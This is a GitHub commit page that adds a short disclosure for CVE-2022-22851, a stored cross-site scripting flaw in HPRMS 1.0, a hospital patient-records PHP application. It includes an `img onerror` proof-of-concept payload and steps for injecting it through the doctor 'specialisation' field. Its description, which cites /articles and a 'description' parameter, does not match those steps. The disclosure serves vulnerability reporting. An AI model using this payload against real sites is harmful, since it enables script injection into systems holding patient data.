Permalink
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
Create CVE-2022-22851.md
- Loading branch information
0 parents
commit 1738137
Showing
1 changed file
with
19 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,19 @@ | ||
| # CVE-2022-22851 | ||
| # Exploit Title: HPRMS - 'doctors' Stored XSS | ||
| # Exploit Author: (Sant268) | ||
| # Vendor Homepage: https://www.sourcecodester.com/ | ||
| # Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html | ||
| # Version: HPRMS 1.0 | ||
| # Tested on: Ubuntu 20, Apache | ||
| # CVE: CVE-2022-22851 | ||
|
|
||
| - Description: | ||
| A XSS issue in HPRMS v.1.0 allows remote attackers to inject JavaScript via /articles in the description parameter. | ||
|
|
||
| - Payload used: | ||
| <img src =q onerror=prompt(8)> | ||
|
|
||
| - Steps to reproduce: | ||
| 1- Go to http://victim.com/admin/?page=doctors | ||
| 2- Add a Doctor, paste the payload in specialisation | ||
| 3- Alert will pop whenever the page is accessed. |